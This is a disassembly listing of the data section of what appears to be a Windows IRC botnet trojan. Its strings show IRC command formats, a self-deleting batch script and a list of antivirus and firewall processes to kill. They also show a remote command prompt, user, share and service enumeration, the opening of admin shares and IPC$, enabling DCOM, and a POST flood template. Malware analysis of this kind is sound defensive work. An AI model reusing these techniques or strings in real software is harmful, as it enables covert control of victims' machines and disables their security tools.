dword_4387B0	dd 62h			; DATA XREF: ___:00437C78o
					; ___:00438044o
dword_4387B4	dd 78h			; DATA XREF: ___:00437C6Co
					; ___:00437FC4o
dword_4387B8	dd 7Ah			; DATA XREF: ___:00437C68o
					; ___:00437FCCo ...
dword_4387BC	dd 6Ch			; DATA XREF: ___:00437C64o
					; ___:00437F98o
dword_4387C0	dd 68h			; DATA XREF: ___:00437C58o
dword_4387C4	dd 67h			; DATA XREF: ___:00437C54o
					; ___:00438000o
dword_4387C8	dd 66h			; DATA XREF: ___:00437C50o
dword_4387CC	dd 79h			; DATA XREF: ___:00437FC8o
dword_4387D0	dd 77h			; DATA XREF: ___:00437FC0o
dword_4387D4	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_4177CF+B1o
dword_4387E0	dd 323334h		; DATA XREF: sub_4177CF+79o
dword_4387E4	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_4177CF+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_4178BA+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 10h
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417ADD+BCo
					; sub_417ADD+175r ...
		align 4
		dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
		dd 3000005h, 10h, 18h, 1, 3 dup(0)
; ---------------------------------------------------------------------------
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
		dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_41814C+72o
		align 10h
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_418293+1Co
		align 10h
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418337+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_418359+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_418359+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_418359+48o
		align 4
unk_43895C	db  2Dh	; -		; DATA XREF: sub_4184E1+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_43898C	db  2Dh	; -		; DATA XREF: sub_4184E1+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_4389B4	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_4184E1+5Co
		dd 65726165h, 64h
off_4389D0	dd offset aAdd		; DATA XREF: sub_4186C1+60r
					; sub_418A98+51r ...
					; "Add"
off_4389D4	dd offset aAdded	; DATA XREF: sub_4186C1+2Dr
					; sub_418A98+83r ...
					; "Added"
dword_4389D8	dd 0			; DATA XREF: sub_4186C1+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 8
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 10h
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 438A44h, 438A3Ch,	2, 438A30h, 438A24h, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:00438A04o
aStop_0		db 'Stop',0             ; DATA XREF: ___:00438A00o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:004389F8o
aStart_0	db 'Start',0            ; DATA XREF: ___:004389F4o
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:004389ECo
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:004389E8o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:004389E0o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:004389DCo
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_4389D4o
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_4389D0o
unk_438A98	db  2Dh	; -		; DATA XREF: sub_4186C1+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_438ABC	db  2Dh	; -		; DATA XREF: sub_4186C1+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 4
unk_438AE8	db  2Dh	; -		; DATA XREF: sub_4186C1+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_4187DD+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_4187DD:loc_4188F5o
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_4187DD:loc_4188EEo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_4187DD:loc_4188E7o
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_4187DD:loc_4188E0o
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_4187DD:loc_4188D9o
		db ' correct access rights.',0
		align 10h
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188D2o
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_4187DD:loc_4188CBo
		align 4
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_4187DD:loc_4188C4o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_4187DD:loc_4188BDo
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_4187DD:loc_4188B6o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_4187DD:loc_41888Bo
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_4187DD:loc_418884o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_4187DD:loc_41887Do
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_4187DD:loc_418876o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_4187DD+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_4187DD:loc_41884Bo
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_4187DD:loc_418841o
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_4187DD:loc_418837o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_4187DD:loc_41882Do
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_4187DD:loc_418823o
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_4187DD+3Co
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_41895B+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_41895B:loc_418A27o
aStarting	db '   Starting',0      ; DATA XREF: sub_41895B:loc_418A20o
aStoping	db '    Stoping',0      ; DATA XREF: sub_41895B:loc_418A19o
aRunning	db '    Running',0      ; DATA XREF: sub_41895B:loc_418A12o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_41895B:loc_418A0Bo
aPausing	db '    Pausing',0      ; DATA XREF: sub_41895B:loc_418A04o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_41895B:loc_4189FDo
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_41895B+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_41895B+25o
		align 4
unk_43903C	db  2Dh	; -		; DATA XREF: sub_418A98+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 10h
dword_439060	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418A98+8Ao
		dd 73252720h, 27h
unk_43907C	db  2Dh	; -		; DATA XREF: sub_418A98+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_418C8E+D0o
		align 10h
aNo		db 'No',0               ; DATA XREF: sub_418C8E+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_418C8E+B5o
unk_4390C8	db  2Dh	; -		; DATA XREF: sub_418C8E+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_418C8E+26o
		align 4
unk_439128	db  2Dh	; -		; DATA XREF: sub_418DAF+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 10h
unk_439150	db  2Dh	; -		; DATA XREF: sub_418DAF+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439180	db  2Dh	; -		; DATA XREF: sub_418DAF+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 10h
unk_4391A0	db  2Dh	; -		; DATA XREF: sub_418EF6+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_418EF6+385o
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_418EF6+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_418EF6+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_418EF6+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_418EF6+2D9o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_418EF6+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_418EF6+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_418EF6+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_418EF6+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_418EF6+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_418EF6+1D7o
		align 10h
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_418EF6+1ACo
		align 10h
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_418EF6+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_418EF6+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_418EF6+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_418EF6:loc_419015o
		align 10h
aUser_1		db 'User',0             ; DATA XREF: sub_418EF6:loc_41900Eo
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_418EF6:loc_419007o
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_418EF6+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_418EF6+AFo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_418EF6+84o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_418EF6+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_4192DF+14Fo
		align 4
unk_43935C	db  2Dh	; -		; DATA XREF: sub_4192DF+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 4
aS_4		db '  %S',0             ; DATA XREF: sub_4192DF+BEo
		align 10h
unk_439390	db  2Dh	; -		; DATA XREF: sub_4192DF+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_4192DF+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_41945F:loc_41957Co
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_41945F:loc_419575o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_41945F:loc_41956Eo
		align 10h
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_41945F:loc_419567o
		align 10h
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_41945F:loc_419560o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_41945F:loc_419543o
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_41945F:loc_41953Co
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_41945F:loc_419535o
		align 4
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_41945F+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_41945F:loc_41950Ao
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_41945F:loc_419503o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_41945F:loc_4194FCo
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_41945F:loc_4194F2o
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_41945F+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_41945F:loc_4194CCo
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_41945F:loc_4194C2o
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_41945F:loc_4194B8o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_41945F:loc_4194AEo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_41945F:loc_4194A4o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_41945F+3Bo
		align 4
dword_439698	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419593+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_4396C4	db  2Dh	; -		; DATA XREF: sub_419593+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
		dd 7530h
off_4396F0	dd offset aRegedit_exe	; DATA XREF: sub_4196BC+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_4397F8
		dd offset dword_4397EC
		dd offset dword_4397E0
		dd offset dword_4397D4
		dd offset dword_4397C8
		dd offset dword_4397BC
		dd offset dword_4397AC
		dd offset dword_4397A0
		dd offset dword_439794
		dd offset dword_439788
		dd offset dword_43977C
		dd offset dword_43976C
		dd offset dword_439760
		dd offset dword_439750
dword_439750	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_4196BC+ECo
					; ___:0043974Co
dword_439760	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:00439748o
dword_43976C	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:00439744o
dword_43977C	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:00439740o
dword_439788	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043973Co
dword_439794	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:00439738o
dword_4397A0	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:00439734o
dword_4397AC	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:00439730o
dword_4397BC	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:0043972Co
dword_4397C8	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:00439728o
dword_4397D4	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:00439724o
dword_4397E0	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:00439720o
dword_4397EC	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:0043971Co
dword_4397F8	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:00439718o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:00439714o
		align 4
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:00439710o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:0043970Co
		align 10h
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:00439708o
		align 10h
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:00439704o
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:00439700o
		align 4
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:004396FCo
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:004396F8o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:004396F4o
		align 10h
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_4396F0o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_4196BC+191o
		align 4
unk_4398A8	db  2Dh	; -		; DATA XREF: sub_4198EB:loc_419972o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_4398CC	db  2Dh	; -		; DATA XREF: sub_4198EB+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 10h
unk_4398F0	db  2Dh	; -		; DATA XREF: sub_4198EB+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419A88+33o
unk_439920	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419C41o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_439950	db  2Dh	; -		; DATA XREF: sub_419B0F+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 4
unk_439978	db  2Dh	; -		; DATA XREF: sub_419B0F:loc_419BF5o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 4
unk_4399A8	db  2Dh	; -		; DATA XREF: sub_419C64+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_4399DC	db  2Dh	; -		; DATA XREF: sub_419C64+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 10h
off_439A00	dd offset dword_439A38	; DATA XREF: sub_419E79+1B3o
					; sub_41A19D+17Ao
		align 8
		dd offset dword_439A30
		align 10h
off_439A10	dd offset dword_439A2C	; DATA XREF: sub_41A19D+1E3o
		dd offset dword_439A28
		dd offset dword_439A24
		dd offset dword_439A20
dword_439A20	dd 5C3A44h		; DATA XREF: sub_419E79+217o
					; ___:00439A1Co
dword_439A24	dd 2444h		; DATA XREF: ___:00439A18o
dword_439A28	dd 5C3A43h		; DATA XREF: ___:00439A14o
dword_439A2C	dd 2443h		; DATA XREF: ___:off_439A10o
dword_439A30	dd 494D4441h, 244Eh	; DATA XREF: ___:00439A08o
dword_439A38	dd 24435049h, 0		; DATA XREF: ___:off_439A00o
dword_439A40	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2E5o
					; sub_41A19D+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_439A70	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 4
dword_439A98	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A0DBo
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_439AC4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 4
dword_439AE8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_41A048o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_439B14	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 4
dword_439B38	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FABo
					; sub_41A19D:loc_41A2CBo
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_439B68	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419FA4o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_439BA4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79:loc_419F86o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 4
dword_439BD8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_419E79+EDo
					; sub_41A19D+EDo
		align 4
dword_439C28	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+91o
					; sub_41A19D+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_439C58	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_419E79:loc_419EE6o
		dd 62617369h, 2E64656Ch, 0
dword_439C78	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_419E79+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_419E79+54o
					; sub_41A19D+54o
		align 4
dword_439CA8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_0		db '%c:\',0             ; DATA XREF: sub_41A19D+230o
		align 4
aC_1		db '%c$',0              ; DATA XREF: sub_41A19D+219o
dword_439CD8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A33Co
					; sub_41A19D:loc_41A40Do
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_439D00	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+198o
					; sub_41A19D+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_439D20	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2C4o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_439D5C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D:loc_41A2A6o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_439D94	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_439DD4	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A19D:loc_41A20Ao
		dd 6C62616Eh, 2E6465h
dword_439DF0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A19D+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41A4D1+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
dword_439E48	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41A6AE+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41A6AE+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41A6AE+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41A6AE+B6o
		align 4
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41A6AE+AFo
		align 4
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41A6AE+A8o
		align 10h
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41A6AE+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41A6AE+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41A6AE+93o
		align 4
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41A6AE+8Co
		align 4
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41A6AE+85o
		align 4
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41A6AE+7Eo
		align 4
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41A6AE+77o
		align 4
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41A6AE+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41A6AE+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41A6AE+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41A6AE+5Bo
		align 4
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41A6AE+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41A6AE+4Do
		align 4
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41A6AE+46o
		align 4
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41A6AE+3Fo
		align 4
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41A6AE+38o
		align 4
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41A6AE+31o
		align 4
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41A6AE+2Ao
		align 4
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41A6AE+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41A6AE+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41A6AE+15o
aDdDhDm		db '%dd %dh %dm',0      ; DATA XREF: sub_41A88B+52o
dword_43A060	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AA42+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
